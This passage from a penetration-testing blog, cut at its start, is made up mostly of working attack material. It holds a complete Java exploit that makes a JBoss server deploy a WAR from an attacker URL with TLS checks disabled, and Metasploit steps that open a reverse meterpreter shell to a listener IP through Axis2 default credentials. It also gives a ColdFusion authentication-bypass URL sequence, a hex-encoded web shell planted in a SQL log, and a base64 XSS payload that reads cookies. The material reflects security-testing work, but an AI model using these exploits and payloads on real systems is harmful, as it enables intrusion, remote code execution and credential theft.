java -cp jboss.jar:jbossall-client.jar JBOSSExploit<br />
<br />
To finish it off, just access the URL where your malicious WAR file was deployed e.g: http(s)://localhost:8080/test/<br />
<br />
And of course, the code:<br />
<br />
<h3 style="text-align: left;">
JBOSSExploit.java:</h3>
import java.io.FileOutputStream;<br />
import java.io.ObjectInputStream;<br />
import java.io.ObjectOutputStream;<br />
import java.io.OutputStream;<br />
import java.lang.reflect.Method;<br />
import java.net.HttpURLConnection;<br />
import java.net.URL;<br />
<br />
import org.jboss.invocation.InvocationException;<br />
import org.jboss.invocation.MarshalledValue;<br />
import org.jboss.invocation.MarshalledInvocation;<br />
<br />
<br />
public class JBOSSExploit {<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>public static void main(String[] args) throws Exception {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>//Parameters you need to configure<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>int hash = 647347722;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>String attackerUrl = "http://localhost/test.war";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>String payloadSaveLocation = "testPayload.out";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>MarshalledInvocation payload = new MarshalledInvocation();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>payload.setObjectName(new Integer(hash));<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Class<?> c = Class.forName("javax.management.MBeanServerConnection");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>payload.setMethod(method);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Object myObj[] = new Object[4];<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>myObj[0] = new javax.management.ObjectName("jboss.system:service=MainDeployer");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>myObj[1] = new String("deploy");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>myObj[2] = new String[]{attackerUrl};<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>myObj[3] = new String[]{"java.lang.String"};<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>payload.setArguments(myObj);<br />
FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);<br />
ObjectOutputStream out = new ObjectOutputStream(fileOut);<br />
out.writeObject(payload);<br />
out.close();<br />
fileOut.close();<br />
System.out.printf("Payload saved in "+ payloadSaveLocation);<br />
<br />
<br />
String type = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue";<br />
URL u = new URL(jmxUrl);<br />
HttpURLConnection conn = (HttpURLConnection) u.openConnection();<br />
TrustModifier.relaxHostChecking(conn);<br />
conn.setDoOutput(true);<br />
conn.setRequestMethod( "POST" );<br />
conn.setRequestProperty( "Content-Type", type );<br />
conn.setRequestProperty( "Content-Length","10000" );<br />
OutputStream os = conn.getOutputStream();<br />
new ObjectOutputStream(os).writeObject(payload);<br />
<br />
ObjectInputStream in = new ObjectInputStream(conn.getInputStream());<br />
Object obj = in.readObject();<br />
if(obj.getClass().toString().equals("class org.jboss.invocation.MarshalledValue")){<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("\nGot MarshalledValue response");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>MarshalledValue mv = (MarshalledValue)obj;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Object mvContent = mv.get();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(mvContent != null)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println(mvContent.getClass().toString());<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>if(mvContent.getClass().toString().equals("class org.jboss.invocation.InvocationException")){<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("Invocation Exception Received");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>InvocationException ie = (InvocationException)mvContent;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println(ie.getMessage());<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>ie.printStackTrace();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>else<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>{<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("Success! Look for the deployed WAR.");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
}<br />
<br />
<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<br />
}<br />
<br />
<h3 style="text-align: left;">
TrustModifier.java</h3>
<br />
import java.net.*;<br />
import javax.net.ssl.*;<br />
import java.security.*;<br />
import java.security.cert.*;<br />
<br />
public class TrustModifier {<br />
private static final TrustingHostnameVerifier<br />
TRUSTING_HOSTNAME_VERIFIER = new TrustingHostnameVerifier();<br />
private static SSLSocketFactory factory;<br />
<br />
/** Call this with any HttpURLConnection, and it will<br />
modify the trust settings if it is an HTTPS connection. */<br />
public static void relaxHostChecking(HttpURLConnection conn)<br />
throws KeyManagementException, NoSuchAlgorithmException, KeyStoreException {<br />
<br />
if (conn instanceof HttpsURLConnection) {<br />
HttpsURLConnection httpsConnection = (HttpsURLConnection) conn;<br />
SSLSocketFactory factory = prepFactory(httpsConnection);<br />
httpsConnection.setSSLSocketFactory(factory);<br />
httpsConnection.setHostnameVerifier(TRUSTING_HOSTNAME_VERIFIER);<br />
}<br />
}<br />
<br />
static synchronized SSLSocketFactory<br />
prepFactory(HttpsURLConnection httpsConnection)<br />
throws NoSuchAlgorithmException, KeyStoreException, KeyManagementException {<br />
<br />
if (factory == null) {<br />
SSLContext ctx = SSLContext.getInstance("TLS");<br />
ctx.init(null, new TrustManager[]{ new AlwaysTrustManager() }, null);<br />
factory = ctx.getSocketFactory();<br />
}<br />
return factory;<br />
}<br />
<br />
private static final class TrustingHostnameVerifier implements HostnameVerifier {<br />
public boolean verify(String hostname, SSLSession session) {<br />
return true;<br />
}<br />
}<br />
<br />
private static class AlwaysTrustManager implements X509TrustManager {<br />
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }<br />
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }<br />
public X509Certificate[] getAcceptedIssuers() { return null; } <br />
}<br />
<br />
}<br />
<div>
<br /></div>
<br />
<br />
<br />
<div>
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com15tag:blogger.com,1999:blog-6160546299096632925.post-91252421919454671702013-05-21T23:38:00.000-07:002013-05-21T23:44:34.868-07:00Meterpreter Shell Through Axis Default Creds<div dir="ltr" style="text-align: left;" trbidi="on">
Just a quick post on something I worked on yesterday.<br />
<br />
<div style="text-align: left;">
<b id="docs-internal-guid-22ee2710-caf0-aef5-5a03-f5e42dfc32c1" style="font-weight: normal;"><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">Was able to use default credentials to log into the Apache Axis2 administrative interface, the login page URL usually looks something like "axis2/axis2-admin/login". </span></b></div>
<div style="text-align: left;">
<b style="font-weight: normal;"><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b></div>
<div style="text-align: left;">
<b style="font-weight: normal;"><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">The Metasploit module for uploading and executing a malicious Axis service wasn't working. No matter what payload I used it was complaining about the file size being too large. The following is a quick (and obvious) workaround.</span></b></div>
<div style="text-align: left;">
<b style="font-weight: normal;"><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b></div>
<div style="text-align: left;">
<b id="docs-internal-guid-22ee2710-caf3-c92d-eefb-c1c17d08b469" style="font-weight: normal;"></b></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<b id="docs-internal-guid-22ee2710-caf3-c92d-eefb-c1c17d08b469" style="font-weight: normal;"><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">1) Modify the code for axis2-deploy.rb at /path/to/msf/modules/exploits/multi/http/axis2_deployer.rb.</span></b></div>
<b id="docs-internal-guid-22ee2710-caf3-c92d-eefb-c1c17d08b469" style="font-weight: normal;"><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span></b>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<b id="docs-internal-guid-22ee2710-caf3-c92d-eefb-c1c17d08b469" style="font-weight: normal;"><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">Add the following under line 109: File.open("/tmp/payload.jar", 'w') { |file| file.write(contents) }</span></b></div>
<b id="docs-internal-guid-22ee2710-caf3-c92d-eefb-c1c17d08b469" style="font-weight: normal;">
<br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">This will output the payload generated by the script to disk so you can upload it manually.</span></div>
<div>
<b style="font-weight: normal;"><br /></b></div>
<br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">2) Run the exploit against the target host with the following settings:</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>set PAYLOAD java/meterpreter/reverse_https</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>set LPORT 443</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>set SSL true</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"> It will fail, but a payload.jar will be created in /tmp/</span></div>
<div>
<b style="font-weight: normal;"><br /></b></div>
<br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">3) Upload the payload at </span><a href="https://test.com/axis2/axis2-admin/upload" style="text-decoration: none;"><span style="color: #1155cc; font-family: Arial; font-size: 15px; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">https://test.com/axis2/axis2-admin/upload</span></a><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span></div>
<div>
<b style="font-weight: normal;"><br /></b></div>
<div>
<b style="font-weight: normal;"><br /></b></div>
<br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">4) Confirm through the admin interface that the service exists and is activated. Under “List Services” find and click on the name of the service, It will be some random characters.</span></div>
<div>
<b style="font-weight: normal;"><br /></b></div>
<div>
<b style="font-weight: normal;"><br /></b></div>
<br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">5) When you click on the service you will be redirected to a WSDL for that service. Copy the URL for this WSDL and import it into a SOAP messaging tool like SOAPUI.</span></div>
<div>
<b style="font-weight: normal;"><br /></b></div>
<div>
<b style="font-weight: normal;"><br /></b></div>
<br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">6) Start a reverse handler for the payload:</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>use multi/handler</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>set PAYLOAD java/meterpreter/reverse_https</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>set LPORT 443</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>set LHOST 128.121.17.148</span></div>
<div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>exploit</span></div>
<div>
<b style="font-weight: normal;"><br /></b></div>
<br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;">
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">7) Call the “run” method of the metasploit service using SOAPUI</span><br />
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><br /></span>
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><br /></span>
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">When Metasploit modules aren't working properly and you're fairly confident your target is vulnerable, this type of approach is usually worth a shot. In the past I have also proxied Metasploit through BURP to intercept, analyze and modify the requests it was making to a vulnerable web application, which ultimately led to a successful shell after some minor effort.</span></div>
<div>
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
</b></div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-70274533111325460872013-03-26T18:57:00.000-07:002013-03-26T18:57:00.041-07:00Cool ColdFusion Post Exploitation<br />
So on a recent test I happened to run into an instance of the new(ish) Adobe ColdFusion authentication bypass (http://www.adobe.com/support/security/advisories/apsa13-01.html). This is extremely easy to exploit and gets you access to ColdFusion's administrative interface. If you can find the path to administrator.cfc, accessing the following URL's in sequence is all it should take to get you admin access:<br />
<br />
<ol>
<li>https://<URL>/CFIDE/adminapi/administrator.cfc?method=login&adminpassword=&rdsPasswordAllowed=true</li>
<li>https://<URL>/CFIDE/administrator/</li>
</ol>
<div>
So what can you do from the admin console? See slides 82-102 on post exploitation by Chris Gates http://www.slideshare.net/chrisgates/coldfusion-for-penetration-testers</div>
<div>
<br /></div>
<div>
But what if the machine you're attacking doesn't allow any outbound traffic, or outbound traffic is tightly controlled? This makes it difficult to abuse the "Task Scheduler" to retrieve a file off your remote web server. Another issue I ran into was that the "System Probes" function simply did not exist in the version of ColdFusion I was attacking.</div>
<div>
<br /></div>
<div>
So what's left? Well the if you poke around long enough, you'll notice under the "Advanced Options" for a data source in the "Data Sources" tab under "Data and Services", there are two interesting settings. The first allows you to log all database activity to a file specified on the local server. The second allows you to specify a "Validation Query". This query will be run to check if the current database connection is still alive before any database activity is performed. Unfortunately, the results of the query are NOT returned, so basically we have blind or error based SQL injection here.</div>
<div>
<br /></div>
<div>
We can take advantage of blind/error based SQL injection in a number of ways. The first that comes to mind would be to try and get command execution on the database server itself, if the datasource is MSSQL we can use the well known xp_cmdshell attack. Unfortunately for me, the database permissions were locked down quite tightly.</div>
<div>
<br /></div>
<div>
The second, more reliable, and more interesting way, is to create a CFM command shell by injecting malicious input into the SQL log file! This is possible because we get to choose the name for the log file (for example <span style="background-color: #6aa84f;">shell.cfm</span>), and ColdFusion allows us to use the CFM or JSP extensions (JSP only works in the enterprise version).</div>
<div>
<br /></div>
<div>
Unfortunately, by default ColdFusion filters anything in angle brackets "<...>" from our "Validation Query". So we can't just straight up use a Validation Query like the following:</div>
<div>
<br /></div>
<div>
"SELECT '<cfexecute name="c:\windows\system32\cmd.exe" arguments="/c dir" variable="data" timeout="10" /><cfdump var="#data#">'</div>
<div>
<br /></div>
<div>
ColdFusion will filter it all out and we'll be left with nothing in our log file.</div>
<div>
<br /></div>
<div>
What we can do is abuse MSSQL to get our desired output in the log file. Consider what you would do if you had error based MSSQL injection? You try to get the server to throw an error that includes the output from your subquery. My favorite way to do that on MSSQL is to CAST to an incompatible type. Consider the following query:</div>
<div>
<br /></div>
<div>
<span style="background-color: #6aa84f;">SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3c636665786563757465206e616d653d22633a5c77696e646f77735c73797374656d33325c636d642e6578652220617267756d656e74733d222f632064697222207661726961626c653d2264617461222074696d656f75743d22313022202f3e3c636664756d70207661723d22236461746123223e AS VARCHAR(4000)))) AS int)</span></div>
<div>
<span style="background-color: lime;"><br /></span></div>
<div>
Let's look at it from the inside out. First, we cast a bunch of hex (the payload) to a VARCHAR(4000). This is a completely valid cast and will not throw an error, in fact, it will return the following result:</div>
<div>
<br /></div>
<div>
<span style="background-color: #45818e;"><cfexecute name="c:\windows\system32\cmd.exe" arguments="/c dir" variable="data" timeout="10" /><cfdump var="#data#"></span></div>
<div>
<span style="background-color: cyan;"><br /></span></div>
<div>
Look familiar? Next we do a SELECT TOP 1, this was just necessary because the inner most query returns multiple rows. The outermost query creates the cast that causes the error to be thrown, it tries to cast our payload string to an INT! Well the error includes the text from our shell and since the file extension is CFM, the server will execute it!</div>
<div>
<br /></div>
<div>
So using the shell example I gave here, you should be able to access:</div>
<div>
<span style="background-color: #45818e;">http://<URL>/shell.cfm?cmd=C:\Windows\System32\cmd.exe&opts=%2fc%20dir</span></div>
<div>
<br /></div>
<div>
And in the response you should see the following:</div>
<div>
...</div>
<div>
...</div>
<div>
<div>
*censored*>> Statement[2061].execute(String sql)</div>
<div>
*censored*>> sql = SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3c636673657420636f6d6d616e64203d2075726c5b27636d64275d202f3e3c6366736574206f707473203d2075726c5b276f707473275d202f3e3c636665786563757465206e616d653d2223636f6d6d616e64232220617267756d656e74733d22236f7074732322207661726961626c653d2264617461222074696d656f75743d223222202f3e3c636664756d70207661723d22236461746123223e AS VARCHAR(4000)))) AS int)</div>
<div>
*censored*>> java.sql.SQLDataException: [Macromedia][SQLServer JDBC Driver][SQLServer]Conversion failed when converting the varchar value ' <style></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"> </span>table.cfdump_wddx,</div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"> </span>table.cfdump_xml,</div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"> </span>table.cfdump_struct,</div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"> </span>table.cfdump_varundefined,</div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"> </span>table.cfdump_array,</div>
</div>
<div>
...</div>
<div>
...</div>
<div>
...</div>
<div>
<div>
Volume in drive C is ROOT</div>
<div>
Volume Serial Number is YYYYY</div>
<div>
<br /></div>
<div>
Directory of C:\*CENSORED*</div>
<div>
<br /></div>
<div>
03/26/2013 04:42 PM &lt;DIR&gt; .</div>
<div>
03/26/2013 04:42 PM &lt;DIR&gt; ..</div>
<div>
11/08/2007 02:39 PM 2,151 file1.cfm</div>
<div>
11/08/2007 02:39 PM 2,813 file2.cfm</div>
<div>
07/15/2011 12:57 PM &lt;DIR&gt; admin</div>
<div>
05/22/2008 03:01 PM 6,076 file3.cfm</div>
<div>
07/11/2008 03:32 PM 5,006 file4.cfm</div>
<div>
09/21/2011 10:36 AM &lt;DIR&gt; dir1</div>
<div>
07/15/2011 01:27 PM &lt;DIR&gt; dir2</div>
<div>
09/17/2008 03:20 PM 1,359 file5.cfm</div>
<div>
XX File(s) 198,665,851 bytes</div>
<div>
XX Dir(s) 6,971,301,888 bytes free ' to data type int. ErrorCode=245 SQLState=22018</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
And there you have it. We've just bypasses ColdFusions filters to inject a command shell into a SQL log file. Here's a quick recap of the steps:</div>
<div>
<br /></div>
<div>
1) Get access to the admin console via the authentication bypass</div>
<div>
2) Find the web root on the server, look under Server Monitoring in the "application" log</div>
<div>
3) Edit a datasource: add the malicious validation query highlighted in<span style="background-color: #6aa84f;"> GREEN </span>above</div>
<div>
4) For the same datasource, enable logging of SQL activity to a file in the web root named<span style="background-color: #6aa84f;"> "shell.cfm"</span></div>
<div>
5) Save the changes (this will cause the "Validation Query" to be issued as well)</div>
<div>
6) Access the log at https://<URL>/shell.cfm?cmd=C:\Windows\System32\cmd.exe&opts=%2fc%20dir</div>
<br />
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com5tag:blogger.com,1999:blog-6160546299096632925.post-20379846747468551332013-01-12T16:32:00.000-08:002013-02-23T06:07:03.616-08:00Abusing Open Redirects To Bypass XSS FiltersOpen redirects can very often be escalated to reflected cross site scripting, in fact they can even be abused to bypass strict XSS filters depending on the way the redirect is performed. During a recent penetration test I encountered an example very similar to the following:<br />
<br />
URL: http://example.com?redirect=http://example.com/test<br />
<br />
Response Body:<br />
<br />
<script><br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>location.href="http://example.com/test?someRandomParam1=blah&someRandomParam2=blah";<br />
</script><br />
<br />
<br />
The target application had very strict XSS filters in place, any request with parameters containing quotes, brackets, angle brackets, etc... were immediately rejected and displayed a generic error page.<br />
<br />
Consider what happens if we pass the following parameter to the function:<br />
data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llOiAiK2RvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=#<br />
<br />
Base64 decoded, the above reads:<br />
<script>alert("cookie: "+document.cookie)</script><br />
<br />
It would look like this, note the URL encoded part is just the payload above, and does not contain any characters that would set off an XSS filter. Also the hashtag on the end is to truncate the payload so that any extraneous parameters that the webserver adds in the response (in this case someRandomParam1 and someRandomPara2) are not interpreted as part of the javascript payload:<br />
<br />
URL: http://example.com?redirect=%64%61%74%61%3a%74%65%78%74%2f%68%74%6d%6c%3b%62%61%73%65%36%34%2c%50%48%4e%6a%63%6d%6c%77%64%44%35%68%62%47%56%79%64%43%68%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%62%32%39%72%61%57%55%70%50%43%39%7a%59%33%4a%70%63%48%51%2b%43%67%3d%3d%23<br />
<br />
Response Body:<br />
<br />
<script><br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>location.href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llOiAiK2RvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=#?someRandomParam1=blah&someRandomParam2=blah";<br />
</script><br />
<br />
The following is a screenshot showing the result in the latest version of FireFox:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPua8AVc8j_9XF7Jy9htHSQ44uHQLQPYu2JsopKD2gJL0utmlckMntjFRZAWW5Tr5QcYDmwZyKRXEfBPtV_F7Dewd6noWNlxygQtZnvQkh7W0fI7yVEtu3osKC6mh01Zm4byJ2Z-a1H00/s1600/xss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="271" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPua8AVc8j_9XF7Jy9htHSQ44uHQLQPYu2JsopKD2gJL0utmlckMntjFRZAWW5Tr5QcYDmwZyKRXEfBPtV_F7Dewd6noWNlxygQtZnvQkh7W0fI7yVEtu3osKC6mh01Zm4byJ2Z-a1H00/s320/xss.png" width="320" /></a></div>
<br />
<br />
It's somewhat surprising that this does in fact work since redirects via the "Location:" header are not susceptible to this type of attack. A redirect to a "data:" or "javascript:" URL via the location header will have the script run in it's own context.<br />
<br />
Possibly an oversight on the side of the browser vendors JS parser?<br />
<br />
<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com3tag:blogger.com,1999:blog-6160546299096632925.post-900826625386985352012-12-04T05:14:00.002-08:002012-12-04T05:14:49.908-08:00Attacking Oracle ApplicationsJust my notes on attacking Oracle applications that were scrounged together from various talks and documents. I've tried to clean them up a bit so they're somewhat usable.<br />
<br />
<b id="internal-source-marker_0.1393006022553891" style="font-weight: normal;"><span style="font-family: Arial; vertical-align: baseline; white-space: pre-wrap;"><span style="font-size: large;">Attacking Oracle Applications</span></span></b><br />
<b id="internal-source-marker_0.1393006022553891" style="font-weight: normal;"><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">REFERENCES: </span></b><br />
<b><a href="http://vimeo.com/26231845" style="font-weight: normal;"><span style="color: #1155cc; font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">http://vimeo.com/26231845</span></a><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> (Metasploit/wXf @ Source Boston 2011) </span><br /><a href="http://vimeo.com/19569973" style="font-weight: normal;"><span style="color: #1155cc; font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">http://vimeo.com/19569973</span></a><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> (Metasploit @ BlackHat DC 2011)</span><br /><a href="https://media.blackhat.com/bh-dc-11/Gates/BlackHat_DC_2011_Gates_Attacking_Oracle_Web-wp.pdf" style="font-weight: normal;"><span style="color: #1155cc; font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">https://media.blackhat.com/bh-dc-11/Gates/BlackHat_DC_2011_Gates_Attacking_Oracle_Web-wp.pdf</span></a><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> (Slides)</span><br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">**Check WXF for the scripts in this document rather than metasploit, might be newer/more options</span><br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">OWASP - </span><a href="http://www.owasp.org/index.php/Testing_for_Oracle" style="font-weight: normal;"><span style="color: #1155cc; font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">http://www.owasp.org/index.php/Testing_for_Oracle</span></a><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">Chris Gates Article - http://www.ethicalhacker.net/content/view/363/24/</span><br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span></b><br />
<h3>
<span style="font-family: Arial; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-size: large;">Scan for default, exploitable/interesting content:</span></span></h3>
<b><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">-oracle_version_scanner.rb</span><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b><br />
<b><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b>
<b><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">-oas_cgi_scan.rb (combines nikto and some other stuff with good explanations)</span><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b><br />
